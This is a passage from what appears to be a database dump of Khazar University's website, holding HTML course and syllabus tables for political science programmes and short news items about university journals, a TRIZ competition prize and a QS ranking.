width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Bayramova-History%20of%20%20International%20relations%20Syllabus%20Fall%202018.pdf\">Beynəlxalq Münasibətlər Tarixi</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div>Günay Bayramlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 513</div>\r\n  </td>\r\n  <td width=\"306\" style=\"text-align: left;\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div style=\"text-align:left\"><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Mukhtarli-Globalization%20syllabus.pdf\">Müasir&nbsp;Beynəlxalq Münasibətlərdə&nbsp;Qloballaşma Prosesi</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div>Günay Muxtarlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 614</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Vasif%20Huseynov-Transnational-Terrorism_Fall2018%20(002).pdf\">Transmilli Terrorizm</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div>Vasif Hüseynov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 611</div>\r\n  </td>\r\n  <td width=\"306\" style=\"text-align: left;\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova-Conflict%20Studies.pdf\">Konfliktologiya</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div>Aygül İsmayılova</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 620</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzada-International%20Political%20Economy.pdf\">Beynəlxalq Siyasi İqtisadiyyat</a></div></td><td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\"><div>Ziya Mürsəlzadə</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 605</div><div><span style=\"text-align:justify\"></span></div></td><td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:1.25pt\";vertical-align:top\"=\"\"><div><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Huseynov-Diplomacy%20and%20Statecraft.pdf\">Diplomatiya və Dövlətçilik<span style=\"text-align:justify\">&nbsp;&nbsp;</span></a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:1.25pt\";vertical-align:top\"=\"\">\r\n  <div>Rəşad Hüseynov</div>\r\n  </td>\r\n </tr><tr><td>PSIR 617<br></td><td><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov-EU%20Policies%20and%20Politics.pdf\">Aİ&nbsp;Siyasi Sistemi və Siyasəti&nbsp; <br></a></td><td>Bəxtiyar Bədəlov</td></tr><tr><td>PSIR 623 <br></td><td><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov-EU%20politics-Comparative%20Analysis.pdf\">&nbsp;Avropa Siyasətinin Müqayisəli Təhlili&nbsp; </a></td><td>Bəxtiyar Bədəlov</td></tr>\r\n</tbody></table></div><p><br></p></div>'),(5981,3417,'az','“Xəzər Xəbər” jurnalının iyul nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018-ci il iyul nömrəsi (375-ci nömrə) Xəzər Universitetinin','<p>“Xəzər Xəbər” jurnalının 2018-ci il iyul nömrəsi (375-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.&nbsp;</p><p>Jurnalı bu linkdə də oxuya bilərsiniz:</p><p><a href=\"http://khazar-review.khazar.org\">http://khazar-review.khazar.org</a>.</p>'),(5703,3274,'az','Təhsil fakültəsinin tələbəsi 3-cü yeri tutdu','2018-ci il mayın 25-də Xəzər Universitetində TRİZ Kuboku Beynəlxalq İxtiraçılar müsabiqəsinin...','<p>2018-ci il mayın 25-də Xəzər Universitetində TRİZ Kuboku Beynəlxalq İxtiraçılar müsabiqəsinin nümayəndə heyəti ilə Mühəndislik və tətbiqi elmlər və Təhsil fakültələrinin müəllim və tələbələri arasında görüş keçirildi.</p><p>Qeyd edək ki, görkəmli ixtiraçı Altşuler Genrix Sauloviç XX əsrin 70-ci illərində dünyada birinci dəfə Bakıda təşkil edilmiş İxtiraçılıq İnstitutunun təsisçisi olmuş və İxtira üzrə məsələlərinin həlli nəzəriyyəsinin (TRİZ) müəllifidir. 2016-ci ildə Genrix Altşulerin Bakıda yubileyi keçirilmiş və Respublikanın tələbə və şagirdlərinin TRİZ Kuboku Beynəlxalq müsabiqədə iştirak etməyi təklif edilmişdir. 2017-ci ildə Azərbaycan tələbə və şagirdləri bu müsabiqədə iştirak etmiş və xüsusi diplomlarla təltif edilmişdir.</p><p>Bu il Xəzər Universitetinin Mühəndislik və tətbiqi elmlər və Təhsil fakültələrinin iki tələbəsi TRİZ Kuboku 2018 Beynəlxalq İxtiraçılar müsabiqəsində iştirak etdi, Təhsil fakültəsinin tələbəsi Aytac Salmanzadə “Fantaziya” nominasiyası üzrə 3-cü yerə layiq görüldü. TRİZ Kuboku Beynəlxalq İxtiraçılar müsabiqəsinin Bakı üzrə rəhbəri Natiq Əliyev (Direktor, NG Creators Club) qalib tələbəyə Sertifikat&nbsp;təqdim etdi. Tədbirdə iştirak edən müsabiqənin nümayəndə heyətinin üzvləri Аleksandr Xakimov (yazıçı-fantazist) və Rüstəm Hüseynov (Art-direktor) qalib tələbəni təbrik etdi və digər tələbələrə də növbəti illərdə bu müsabiqədə iştirak etməyi tövsiyə etdilər.</p><p>Sonda tələbələrlə bu müsabiqənin Xəzər Universiteti üzrə komanda heyətinin yaradılması ətrafında müzakirələr aparıldı.</p>'),(5704,3274,'en','A student of the School of Education takes the 3rd place','On May 25, 2018, delegates of TRIZ Cup International Inventors Competition met with...','<p>On May 25, 2018, delegates of TRIZ Cup International Inventors Competition met with instructors and students of the School of Education and the School of Engineering and Applied Sciences.</p><p>Altshuler Herich Saulavich, a prominent inventor, was the founder of Institute of Invention which was founded first time in Baku in the 70s of XX century. He was also the author of the theory of the resolution of invention-related tasks (TRIZ). Herich Saulavich’s anniversary was held in Baku in 2016. In the anniversary ceremony, it was suggested pupils and students of Azerbaijan should participate in TRIZ Cup International Competition. In 2017, Azerbaijani pupils and students participated in this competition and were awarded special diplomas.</p><p>Two students of the School of Engineering and Applied Sciences and the School of Education of Khazar University, participated in TRIZ Cup 2018 International Competition this year. Aytaj Salmanzadeh, the student of the School of Education, took the third place in \"Fantasy\" nomination. Namig Aliyev, Director of TRIZ Cup International Competition for Baku, presented the winner with a Certificate. Aleksandr Khakimov (fantasy writer) and Rustam Huseynov (Art director), members of the competition delegation, congratulated the winner and encouraged other students to join the competition in the following years.</p><p>Then students discussed the establishment of the team of Khazar University for participation in the competition.</p>'),(4009,2340,'en','Khazar University is the Fastest-Rising Star of the Higher Education World','On July 14, 2017, the QS Top 50 Under 50 2018 annual university ranking was released. QS ranked universities which have been established less than 50 years ago...','<p>On July 14, 2017, the QS Top 50 Under 50 2018 annual university ranking was released. QS ranked universities which have been established less than 50 years ago.</p><p>The primary objective of this ranking is to assess the potential and strengths of universities which despite their young age possess the potential to compete effectively with older well-established higher education institutions.</p><p>The top 150 young universities from 53 countries have been included to the list.</p><p>Khazar University is the only Azerbaijani university that was placed among the 150 best young world universities. Khazar University was competing with such well-known universities as Middlesex University (UK), Dublin Institute of Technology (Ireland), Universität Bielefeld (Germany), London Metropolitan University (UK), Nottingham Trent University (UK), and George Mason University (USA).</p><p>Post-Soviet Union countries are represented by Azerbaijan, Kazakhstan, Russia, and Ukraine with one university per country. Turkey has four universities (Bilkent University, Koc University, Sabancı University, Cukurova University) in the top 150 young world universities.</p><p>The performance of each university is evaluated across a range of the following indicators: academic reputation, employer reputation, student-faculty ratio, citations per faculty, international faculty ratio and international student ratio.</p><p>For more information, you can visit the following link: <a href=\"https://www.topuniversities.com/university-rankings/top-50-under-50/2018\" title=\"rating\" target=\"_blank\">https://www.topuniversities.com/university-rankings/top-50-under-50/2018</a></p>'),(4010,2342,'az','“Khazar Journal of Science and Technology” jurnalının ilk sayı çapdan çıxdı','Xəzər Universitetinin Nəşriyyatında yeni “Khazar Journal of Science and Technology” elmi jurnalının (“Xəzər Elm və Texnologiya Jurnalı”) ilk sayı (Vol 1, N1, 2017) çapdan çıxmışdır...','<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-align:justify;background:white\"\"=\"\">Xəzər Universitetinin Nəşriyyatında yeni “Khazar Journal of\r\nScience and Technology”\r\nelmi jurnalının\r\n(“Xəzər Elm və\r\nTexnologiya Jurnalı”) ilk sayı (Vol 1, N1, 2017) çapdan çıxmışdır.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-align:justify;background:white\"\"=\"\">“Xəzər Elm\r\nvə Texnologiya Jurnalı”\r\nriyazıyyat, kimya, biologiya, yer elmləri, kompyuter elmləri, tibb və mühəndislik\r\nsahələrində orijinal və ən yeni tədqiqatların mənbəyi olacaq.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-align:justify;background:white\"\"=\"\">Jurnalın baş redaktoru Xəzər Universitetinin Təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının Sədri Professor Hamlet İsaxanlıdır. Jurnalın redaksiya\r\nheyətinə müxtəlif elm sahələrini, universitetləri və ölkələri təmsil edən mütəxəssislər\r\ndaxildir (ABŞ, Çin, İran, İordaniya, Malayziya, Pakistan, Yaponiya).</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-align:justify;background:white\"\"=\"\">Yeni jurnal bütün istifadəçilər və qurumlar tərəfindən onlayn rejimdə\r\nödənişsiz oxuna bilər. Jurnalın maliyyə dəstəyi tam olaraq Xəzər\r\nUniversitetinin nəşriyyatı tərəfindən verilir. Jurnalda məqalə çap etmək\r\nödənişsizdir. &nbsp;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;text-align:justify;background:white\"\"=\"\">Jurnalın elektron versiyası ilə bu link\r\nvasitəsilə tanış olmaq olar:&nbsp;<a href=\"http://www.kjsat.com/\">www.kjsat.com</a></p>'),(4011,2342,'en','First Issue of Khazar Journal of Science and Technology Published','The first issue (Vol. 1, N1, 2017) of the brand new peer-reviewed scholarly journal, the Khazar Journal of Science and Technology (KJSAT) has been published by Khazar University Press...','<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The first issue (Vol. 1, N1, 2017) of the brand new peer-reviewed scholarly journal, Khazar Journal of Science and Technology (KJSAT), has been published by Khazar University Press.</p><p>Khazar Journal of Science and Technology will be a source of cutting-edge, original research in a wide range of fields such as mathematics, physics, chemistry, biology, earth sciences, computer science, medicine, and all forms of engineering.</p><p>The Editor-in-Chief of the new journal is Professor Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees. The editorial board of the new journal includes experts and professionals from a wide range of disciplines, universities, and countries across the world (Belgium, China, Iran, Japan, Jordan, Pakistan, Malaysia, and USA).</p><p>KJSAT is an open access journal and all its content is freely available without charge to the users and institutions. Articles are made available on the journal website as full-text pdf files. The journal is fully financially supported by Khazar University Press. There are no publication fees for any author. The open-access electronic version of the journal can be found at: <a href=\"www.kjsat.com\" title=\"journal\" target=\"_blank\">www.kjsat.com</a></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\"><a href=\"http://www.kjsat.com/\"></a></p>'),(2093,1284,'az',' Abituriyent jurnalı çapdan çıxdı ','Abituriyent jurnalının 7-ci sayında Respublikanın ali təhsil müəssisələrinə qəbul olan tələbələrin siyahısı açıqlanmışdır...','<p>Abituriyent jurnalının 7-ci sayında Respublikanın ali təhsil \r\nmüəssisələrinə qəbul olan tələbələrin siyahısı açıqlanmışdır. Müsabiqədə\r\n 38118 abituriyent iştirak edib. Onlardan 34224 nəfəri ali təhsil \r\nmüəssisələrinə qəbul olunub. 12309 nəfər dövlət sifarişi əsasında, 21915\r\n nəfər isə ödənişli əsaslarla təhsil almaq hüququ əldə edib.   </p><p>Qəbul\r\n olan tələbələr 2016-cı il avqustun 15-dən 25-dək sənədlərini daxil \r\nolduqları təhsil müəssisəsinə təqdim etməklə qeydiyyatdan keçməlidirlər.\r\n  </p>'),(441,281,'en','Courses and Syllabi','Courses and Syllabi','<p><strong><br></strong></p><p><strong><br></strong></p><p style=\"text-align:left\"><strong style=\"text-align:right\"><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong style=\"text-align:right\">Fall&nbsp;2018: Courses &amp; Syllabi (B.A.)</strong><strong style=\"text-align:right\"><br></strong></p><br><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"108\">\r\n  <div><strong>Code</strong></div>\r\n  </td>\r\n  <td width=\"318\" style=\"text-align:center\">\r\n  <div><strong>Subject</strong></div>\r\n  </td>\r\n  <td width=\"198\" style=\"text-align:center\">\r\n  <div><strong>Instructor</strong></div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 110</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Tural%20Huseynli%20-%20Siyasi%20Elm%C9%99%20giri%C5%9F.pdf\">Introduction to Political Science</a>&nbsp;(AZE)</div><div><a href=\"http://www.khazar.org/files/politics_depart/Gulcan%20Kulakhmet-Introduction%20to%20PS.pdf\">Introduction to Political Science</a> (RUS)</div><div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Introduction%20to%20Political%20Science%20(individual).pdf\">Introduction to Political Science</a> (Group B)<br></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Tural Huseynli</div><div>Gulcan Kulakhmet</div><div>Baba Bayramli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 202</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Contemporary%20social%20history%20of%20Political%20Thoughts.pdf\">Contemporary Social History of Political Thought</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Baba Bayramli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 300</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Aghazade-Theory%20of%20IR.pdf\">Theory of International Relations</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rashad Aghazade</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 301</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Modern%20Diplomacy.pdf\">Modern Diplomacy</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Baba Bayramli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 303</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzade-Introduction%20to%20Economics.pdf\">Economics</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Ziya Mursalzade</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 359</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Anar%20Rahimov-History%20of%20Parliamentarism.pdf\">History of Parliamentarism</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Anar Rahimov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 370</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20Mustafayev-NATO%20and%20Security%20Studies.pdf\">NATO and Security Studies</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elmar Mustafayev</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 401</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elsevar%20Mammdov-Political%20Psychology.pdf\">Political Psychology</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elsevar Mammadov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 403</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rovshan%20Karimov-Political%20and%20Economic%20Geography.pdf\">Political and Economic Geography</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rovshan Karimov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 404</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rafig%20Rustamov-Foundations%20of%20Azerbaijan\'s%20National%20Security.pdf\">Foundation of Azerbaijan’s National Security</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rafig Rustamov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 405</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Vasif%20Huseynov-Political%20systems%20of%20Azerbaijan%20and%20foreign%20countries.pdf\">Political Systems of Azerbaijan and Foreign Countries</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Vasif Huseynov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 410</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20Mustafayev-Political%20System%20and%20Foreign%20Policy%20of%20European%20Union.pdf\">Political System and Foreign Policy of European Union</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elmar Mustafayev</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 411</div></td><td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><div><a href=\"http://www.khazar.org/files/politics_depart/Jeyran%20Mammadli-Economy%20of%20Europe.pdf\">Economy of European Countries</a></div><div><a href=\"http://www.khazar.org/files/politics_depart/Jeyran%20Mammadli-Economy%20of%20Europe.pdf\"></a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Jeyran Mammadli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 400</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elsevar%20Mammadov-Research%20Methods.pdf\">Research Methods in Political Science</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elsevar Mammadov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 475</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Bayramova-Nations%20and%20Nationalism%20Syllabus%20Fall%202018.pdf\">Nation and Nationalism</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Gunay Bayramli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>HIST144</div>\r\n  </td>\r\n  <td width=\"318\" 